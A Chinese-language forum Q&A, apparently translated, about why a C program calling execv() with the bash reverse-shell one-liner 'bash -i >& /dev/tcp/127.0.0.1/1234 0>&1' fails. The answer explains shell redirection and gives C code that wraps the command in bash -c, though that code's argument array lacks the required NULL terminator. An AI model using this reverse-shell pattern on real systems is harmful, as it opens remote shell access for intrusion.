bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

Question

我知道上面标题的某些部分已经被问过了，但我仍然有些困惑。实际上，我并没有真正得到 bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 中的“>&” 我的主要目标是编译以下代码：

 *#include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 int main(){
 char *prog = "/bin/bash";
 /*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
 char *args[5] = {"/bin/bash", "-i",  ">&", "/dev/tcp/127.0.0.1  /1234","0>&1"};

execv(prog, args);
return 0;
}

它被编译但是当我执行相应的二进制文件时，它给了我以下错误： bash: >&: 没有这样的文件或目录

任何解释都将非常感谢;)！

Answer 1

当你运行时：

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

在命令提示符下，您当前的外壳（显示提示并等待命令的外壳）解释重定向。

当您使用exec*() 函数之一运行外部程序时，没有外壳可以解析命令行并解释重定向。 execv() 启动 bash 并使用命令行的其余部分作为参数。

bash的命令行是：

bash options file

选项以破折号 (-) 开头。

它可能会成功解释-i，因为>& 不是以破折号（-）开头，它认为它是一个文件名。找不到这样的文件，报错">&: No such file or directory"并退出。

您应该使用system() 来启动一个shell 并为其提供整个命令行，或者使用popen()（它还允许您在新进程启动后将一些输入传递给它）。

这两个函数都创建了一个新进程。由于您的原始代码使用execv() 并且exec*() 函数将当前正在运行的进程替换为新进程，因此您可能应该在启动新进程后exit() 以获取当前行为。

---

也有可能（我没有测试）使用execv() 启动以下命令会产生您期望的结果：

bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"

在 C 中：

char *prog = "/bin/bash";
char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
execv(prog, args);